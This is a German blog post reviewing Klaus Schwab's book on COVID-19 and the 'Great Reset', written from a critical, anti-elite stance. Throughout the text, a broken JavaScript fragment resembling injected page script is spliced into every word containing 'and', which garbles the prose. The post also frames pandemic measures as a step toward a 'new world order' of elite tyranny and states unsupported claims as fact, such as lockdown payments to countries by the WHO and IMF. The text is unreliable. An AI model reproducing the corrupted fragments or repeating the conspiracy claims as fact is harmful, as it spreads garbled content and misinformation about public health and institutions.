Diese Buchbesprechung ist dem Verlust einer Wette geschuldet. Es ging darum, ob im ersten Jahr des Bestehens dieses Blogs sich ein Sponsor finden würde. Und, oh Wunder, von Frau M. A. traf eine Unterstützung ein, die wir komplett reinvestierten. Warum wir uns überhaupt für Sponsoren interessierten, ist eine eigene und interessante Geschichte mit viel Ambitionen verbunden und wird gelegentlich mal zu erzählen sein.

Dieser Blog ist Frau M. A. gewidmet von deren Zuwendung wir das Buch von Klaus Schwab, COVID-19: Der große Umbruch, erwarben.

Aber, was nützt ein Buch, wenn man es nicht liest und noch besser bespricht? Der nachstehende Blog widmet sich also diesem Buch mit direktem Bezug zum Zeitgeschehen im C-Krisen-Jahr.

Starten wir mit dem Autor. Wer ist Klaus Schwab?

Auf ihn geht das Elitentreffen im schweizerischen Davos zurück, das unter dem Namen Weltwirtschaftsforum (im Englischen: World Economic Forum, kurz WEF) weltweit bekannt ist. Ursprünglich als Forum für die Diskussion moderner Managementkonzepte geplant, entwickelte sich die WEF-Stiftung „zu einer global agierenden Kommunikationsplattform für wirtschaftliche und politische Eliten und intellektuelle Vordenker“, wie Wikipedia von Schwab zu berichten weiß.

Der ehemalige Professor für Unternehmenspolitik ist also nicht irgendwer, sondern vielleicht einer der einflussreichsten Personen auf dem Globus.

Ein Anruf von ihm sollte sicherstellen, dass er bei jedem Konzernmanager, jedem Adeligen und jedem Milliardär oder Billionär (die gibt es ja längst auch) sofort durchgestellt wird. Die kommende WEF-Tagung findet am 18. bis 21. Mai 2021 in der Zentralschweiz statt und steht unter dem Motto: „The Great Reset“.

Schwab weiß mehr und darum lohnt es sich hinzuhören, wenn er spricht; hier in Buchform.

Was weiß er, was wir nicht wissen?

Der rote Faden des Buches erschließt sich mit Seite 12:

„Viele von uns fragen sich, wann sich die Dinge wieder normalisieren werden. Die kurze Antwort lautet: niemals.

Nichts wird jemals wieder so sein wie zuvor.

Die Normalität in dem Sinne, wie wir sie kannten, ist zu Bruch gegangen und die Coronavirus-Pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemie stellt einen grundlegenden Wendepunkt auf unserem globalen Kurs dar. (…) Die Welt, wie wir sie in den ersten Monaten des Jahres 2020 kannten, gibt es nicht mehr, sie hat sich im Kontext der Pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemie aufgelöst. Es kommen derart radikale Veränderungen auf uns zu, dass manche Experten bereits von der Zeit ‚vor Corona‘ (BC) und ‚nach Corona‘ (AC) sprechen. (…) wird eine „neue Normalität“ entstehen, die sich radikal von jener unterscheidet, die wir nach und nach hinter uns lassen werden. Viele unserer Überzeugungen und Annahmen, wie die Welt aussehen könnte oder sollte, werden sich dabei zerschlagen. (…) Nur eines ist gewiss: Die Veränderungen werden nicht linear verlaufen und es wird drastische Brüche geben.“

Im Krieg mit einem unsichtbaren Feind

Wenn die Umstände es erfordern, werden Regeln und Gesetze außer Kraft gesetzt. Das haben wir in der C-Krise hinlänglich erfahren mit dem mannigfaltigen Verlust von Rechten und Freiheiten. Es ist ein altbewährtes Prinzip bei dem sich gerne die Politiker am Machtzuwachs berauschen.

Schwab ist sich dessen sehr bewusst, „dass akute Krisen zur Stärkung der Staatsmacht beitragen“. Dumm nur, dass das viele Bürger gar nicht wollen. Die Vorstellungen eines starken Staates, der sich außerhalb seiner Hoheitsrechte noch in alle Belange des Volkes einmischt, ist für manche eigenständig denkende Personen, wie Axel Burkart, als Vertreter des Konzeptes der sozialen Dreigliederung nach Rolandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Steiner, eine gruselige Vorstellung. Der sozialen Dreigliederung von Rechtsleben, Wirtschaftsleben und Geistesleben sind Gleichheit vor dem Gesetz, Brüderlichkeit statt aggressiver Konkurrenz in der Ökonomie und Freiheit im Geiste zugeordnet. (Dieses Konzept ist in sich schlüssig und sollte von Interessierten näher studiert werden, z.B. bei der von Axel Burkart gegründeten Akademie Zukunft Mensch und dem neu gegründeten Bund für soziale Dreigliederung.) Das Konzept fordert unter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderem den Rückzug des Staates aus dem Bildungs- und Gesundheitswesen.

Wir erfahren aber in der C-Krise und bei Klaus Schwab gerade das Gegenteil. Der Staat mischt sich immer mehr ein und verordnet, reglementiert und sanktioniert, wo vorher ein mündiger Bürger in der Eigenverantwortung standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. Der mündige Bürger wird aber aktuell als leichtsinnig und auch uneinsichtig beschrieben, weshalb der Staat mit seiner Keule, der Bürokratie, zuschlagen muss. Und so ist es für Schwab nur folgerichtig, dass die Reaktionen auf große Krisen, „immer die Macht des Staates“ stärken. Und da die über Lockdowns verhängte Vollbremsung der Wirtschaft Unterstützungsmaßnahmen bedarf, regnet es „Helikopter-Geld“. Ob es dabei immer nur um unsere Gesundheit geht, die zu von Staatswegen zu schützen sei, darf bezweifelt werden, nicht aber vom Autor des Buches, das wir hier unter die Lupe nehmen. Böse Zungen behaupten, dass mit der C-Krisen-Bewältigungspolitik nur kaschiert werden soll, was andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andernorts durch eine verfehlte Geld- und Finanzpolitik „versaubeutelt“ wurde.

Staat ist per se gut und noch mehr Staat ist noch besser.

Andernorts nennt man das auch Sozialismus. Wenn aber der Staat in die Wirtschaft eingreift, bleibt dies nicht ohne Folgen. Die Vorstellung, dass Bürokraten, die keinerlei „scin in the game“ haben (N. Taleb), also selbst mit ihren sicheren Beamtenbezügen nichts riskieren, besser als eine großflächig fragmentierte Ökonomie wissen, was gut und richtig ist, muss bezweifelt werden. Noch nie hat noch mehr Staat zu mehr Wohlstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Volksgesundheit und „Bruttosozialglück“ oder zu einer sinnvollen Ressourcenallokation geführt.

Richtig analysiert …

… und falsch geschlussfolgert. In vielen Punkten möchte ich mit Schwab gerne übereinstimmen. Umweltschutz ist essenziell wichtig! Die Gesundheit der Menschen ist von elementarer Bedeutung! Und auch die Automatisierung und Digitalisierung bietet uns Chancen von ungeheurem Ausmaß. Nur, wer soll darauf die Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and halten, ohne dass es ins Chaos abdriftet?

Ich habe Schwab so verstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anden, dass die Eliten und starke, global agierende Organisationen, wie die WHO und andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere mit dreibuchstabigem Akronym, besser wissen, was gut für die Menschheit sei. Leider zeigt aber die Geschichte, dass sich mit dem Verlust des Basisbezugs die Eliten vom Rest der Menschheit entkoppeln, wie dies schön in der abgehobenen Pyramidenspitze auf den Dollarnoten visualisiert ist. Macht korrumpiert und absolute Macht korrumpiert absolut. Weltweit agierende NGOs sind also der feuchte Traum manch selbsternannter Eliten. Eine neue Weltordnung mit der C-Krise als Auslöser des Transformationsprozesses. Unterstützt von einer Digitalisierung, die – wie jeder wissen sollte – Segen und Fluch zu gleich ist, denn jede (!) Form der Digitalisierung bedeutet eine Option auf Überwachung. Und, seit Milgrams Experiment von der Autorität im weißen Kittel in Verbindung mit Macht über andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere Menschen wissen wir, wer nicht gehorcht, wird bestraft, gezüchtigt und gemaßregelt. Wer aus der Norm-Rolle fällt wird diskreditiert und isoliert, wie wir dies seit je her vom Sozialismus kennen. Und noch nie ging von diesen Sozialismusregimen Glück und Segen, geschweige denn Freiheit für die Menschenfamilie aus. Auch die demokratische Ordnung lässt sich nicht auf die große Fläche, geschweige denn auf einen globalen Maßstab historisch zurückverfolgen, fandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sie doch immer nur im städtischen bzw. im regionalen und damit abgegrenzten Raum statt. Orientieren wir uns also an einer echten Demokratie brauchen wir das gelebte Subsidiaritätsprinzip in Verbindung mit der vorgenannten sozialen Dreigliederung. Erst dann wird ein „Schuh“ daraus.

Das Chaos ist vorprogrammiert

Mit der Forderung nach dieser NWO ist das Chaos am Ende des Transformationsprozesses gewiss. Und wenn schon alles möglich ist aus der anonymen Distanz, können wir auch gleich den besseren Menschen formen, mit einem kleinen, technischen Eingriff, den Transhumanisten schon seit geraumer Zeit herbeisehnen. Schließlich ist der Mensch unvollkommen und muss optimiert werden. Hat er nicht über Jahrhunderte und Jahrtausende hinweg gezeigt, wie gewalttätig er ist und alles, auch den Planeten zerstört? Diese Elitendenke ist wohl war, verschleiert aber, dass es immer die Eliten waren, die den Kragen nicht voll bekamen und andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderer Menschen Kinder instrumentalisierten und in Kriege hetzten. Eliten spielen gerne Krieg, wie sie auch gerne andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere für sich arbeiten lassen.

Wie manch Blaublütige (in einer Art von anmaßender Prädestination und Gottesgnadentum) über Nichtadlige denkt, ist in einem Originalzitat schnell gesagt:

„Die Bürgerlichen sollten froh sein, dass der Adel dafür sorgt, dass sie ein Auskommen haben.“

Es geht seit ewigen Zeiten darum, wie man sich etwas aneignet, das einem nicht gehört. Und jetzt geht’s um die Freiheit, denn über alles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere verfügt man meist schon. Das Problem „Mensch“ ist aber noch viel größer. In diesen Zeiten der Automatisierung und Digitalisierung wird der hart arbeitende Mensch immer mehr überflüssig. Zu viele „Esser“ auf dem Planeten. „Ze, ze, ze!“ Was macht man da nur? (Sorry, aber ohne Ironie ist in unseren Zeiten vieles nicht mehr zu ertragen.)

Ursache und Wirkung – nichts ist folgenlos

Wenn der Staat in die Wirtschaft und in die Gesundheitspolitik eingreift, hat dies zweierlei Konsequenzen? Erstens: wer zahlt dafür? – Antwort: natürlich der Steuerzahler, also diejenigen, die Leistung erbringen. – Schwab dazu: „… die Besteuerung wird dieses Mal wie in der Vergangenheit (Anm.: bei Krisen) zunehmen.“

Einer muss also die Zeche zahlen und das sind vermutlich wir beide lieber Leser, Sie und ich.

Ein Mangel an Hofnarren

Noch etwas gilt es zu bedenken. Wenn die C-Krise also mit einem Krieg gleichgesetzt wird, dann stellt sich die Frage, die schon immer kam, wenn irgendwer, irgendwo einmarschiert ist und andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderen seinen Willen aufgedrückt hat: Da handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ir all geratten wa ir in dasz landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and koment, aber keiner hat geratten wa ir her wider usz koment.“

Am Vorabend der Schlacht von Morgarten (15.11.1315) erhielt Herzog Leopold I. exakt diese Antwort von seinem noch heute sehr bekannten und cleveren Hofnarren Kuony von Stocken (aus Stockach in Baden) nachdem er zuvor seine Militärberater konsultierte. Damit verbinden wir bis heute die Erkenntnis, dass das Einmarschieren bzw. das Erzeugen einer Krise schon wohl gelingen mag, aber wie kommt man wieder da heraus, insbesondere wenn man übers Ziel hinausgeschossen ist?

Übrigens: die Schlacht ging verloren, was die Eidgenossen bis heute erfreut.

Schwab und die Wirtschaftspolitik und den Arbeitsmarkt

Für Schwab ist mit Covid-19 der Neoliberalismus an sein Ende gelangt; er spricht von ihm nur noch in der Vergangenheitsform Präteritum/Imperfekt.

Trotz einer düsteren Prognose für den Arbeitsmarkt nach Covid-19 glaubt Schwab an eine massive Umverteilung „von den Reichen zu den Armen“. Die Botschaft hör ich wohl, allein mir fällt der Glaube. (Goethe) Die Antwort, wie dies Wunder nämlich gelingen soll, bleibt er schuldig.

Es klingt ein bisschen geheimnisvoll und hypnotisierend wie im Dschungelbuch bei der Riesenschlange Kaa, die Mogli in Hypnose spricht mit den Worten: „Hör auf mich, glaube mir, Augen zu, vertraue mir!“

Wenn Eliten um ihr Vertrauen bitten, sollten die Alarmanlagen angehen. In die Enge getrieben haben die Eliten auch vor 500 Jahren zu Zeiten des Bauernkriegs alles versprochen, was nur halbwegs vernünftig gefordert wurde. Doch sobald die Söldner rekrutiert und mit den Früchten des Gelderzeugungsmonopols beglückt waren, wurden alle, aber wirklich alle Versprechungen gebrochen und die Freunde der Freiheit über den Haufen geschossen. Tja, wer die Gesetze macht und die Geldhoheit in Händen hält, macht was er will. Naiv und mehr noch dumm ist, wer was andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderes glaubt, denn hier spricht die Geschichte zu uns und keine Fake-News.

Fragen, die in diesem Buch nicht gestellt werden:

– neues Finanz- und Wirtschaftssystem als Lösung aller Probleme auf einen Schlag (vgl. Markus Krall oder Franz Hörmann)

– dramatisches Eindampfen der Bürokratie (ausufernde Staatsquote)

– neues Verständnis von Bürokratie als dienende Leistung am Bürger

– fehlende Solidarität der Beamtenschaft

– zitiert Personen wie Kissinger, aber die nicht die Vielzahl an klugen Köpfen, die seit Jahren echte Lösungen für diese Welt zu bieten haben – schade – sehr schade!

– stellt einiges, aber eben nicht alles infrage

– WHO und IWF zahlt Ländern für ihren Lockdown (Schwab geht mit keinem Wort darauf ein)

Beim Lesen schlägt das Pendel ständig hin und her, nämlich von Bewunderung der vorgetragenen Ideale bis hin zum Entsetzen über die Naivität und das grenzenlose Vertrauen in die globale NWO der Elitentyrannei.

Und jetzt?

Tenor für das Gesamtwerk könnte lauten: überwiegend richtige Analysen bei zum Teil falschen Schlussfolgerungen. Ein Mangel an echten, nachhaltigen Lösungen ohne Eliten durchzieht das Werk. Hingegen: wir Eliten wissen schon wie’s geht und sind als geborene Philanthropen exzeptionell dem Wesen nach gut. Und in Anlehnung an Ödön von Horváth:

Wir sind eigentlich ganz andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anders, nämlich Philanthropen, wir kommen nur so selten dazu.

Auch dieses Zitat findet sich nicht in Schwabs Buch:

Peter König (Schweizer Publizist + Ökonom, arbeitete über 20 Jahre für die Weltbank).

„Weltbank und IWF haben sich zu korrupten Werkzeugen der Finanzelite entwickelt. Sie sind Oligarchen-Tools und werden konsequent eingesetzt, um ganze Kontinente auszubeuten und zu versklaven …“.

Oder:

Jim Garrison, Gründer des State of the World Forums zusammen mit Michail Gorbatschow, merkte an:

„Jeder, der weiß, wie die Weltbank oder der internationale Währungsfonds arbeiten, könnte bestätigen, dass das, was John Perkins in seinem Buch (Bekenntnisse eines Economic Hit Man) beschreibt, grundsätzlich stimmt. Es gibt einen Grund, warum unsere Entwicklungshilfe und der ganze Einsatz von Weltbank und Währungsfonds die Lage verschlimmert und nicht verbessert: Alles ist so konstruiert, nicht den Ärmsten zu helfen, sondern diese Länder einfach zu benutzen, um westliche Unternehmen weiter zu bereichern. So läuft der Hase.“

Quelle: https://de.wikipedia.org/wiki/Bekenntnisse_eines_Economic_Hit_Man, nach:

Dominique Gradenwitz: Bekenntnisse eines Wirtschaftskillers. (Nicht mehr online verfügbar.) In: 3sat/Kulturzeit. 22. März 2005, archiviert vom Original am 1. November 2005; abgerufen am 13. April 2011

Oder:

Franz Ruppert: „Was hier passiert (Bewältigung der C-Krise), ist ein Menschheitsverbrechen.“

Diese andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere Perspektive auszusparen im Buch ist in gewisser Weise eine Beleidigung einer (nur) mittleren Intelligenz.

Was lernen wir nun daraus?

Ich bin überzeugt, dass es Klaus Schwab aufrichtig gut meint mit uns Nicht-Eliten. Ich würde ihm wirklich keine schlechten Absichten unterstellen. Er macht sich ernsthaft Sorgen um diesen Planeten und organisiert, was ihm richtig erscheint.

Gäbe es aber Corona nicht, man hätte es glatt erfinden müssen.

Vielleicht sind ja einfach nur die Eliten das Problem, wie sie es schon vor ziemlich genau 500 Jahren waren im sogenannten Bauernkrieg. Ich ging schon einmal auf dieses geschichtsträchtige und eminent wichtige Ereignis (wichtiger als der Dreißigjährige Krieg aus meiner Sicht) in einem früheren Blog ein und werde dies in Kürze erneut tun. Warum? Wer die Geschichte nicht kennt, kann die Gegenwart nicht verstehen (bzw. missinterpretiert sie) und zieht die falschen Schlussfolgerungen für die Zukunft.

Blog-Autor: Norbert W. Schätzlein, 15.11.2020

Kontakt zum Autor: schaetzlein@siris-systeme.de

PS:

Hier noch ein kleiner Tipp für alle Milliardäre unter meinen Lesern: bestellen Sie rechtzeitig eine Megajacht von sagen wir mal 150 Metern Länge und dann kann Ihnen nach dem Stapellauf egal sein, was der Rest der Menschheit macht. Auf See gelten dann Ihre Gesetze bei bestem Komfort.

Ich prognostiziere gute Zeiten für Megayachten-Bauer. Wetten?!

PPS:

„Jeder, der von einem großen Reset oder einer großen Transformation träumt, muss wissen, dass dies als Kriegserklärung gegenüber der freiheitlich-demokratischen Grundordnung verstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anden werden kann.“

Dr. Hans-Georg Maaßen, Jurist und ehem. Präsident des Bundesamtes für Verfassungsschutz (BfV); in: https://www.youtube.com/watch?v=OeHIXAaOxMg, 12.01.2021

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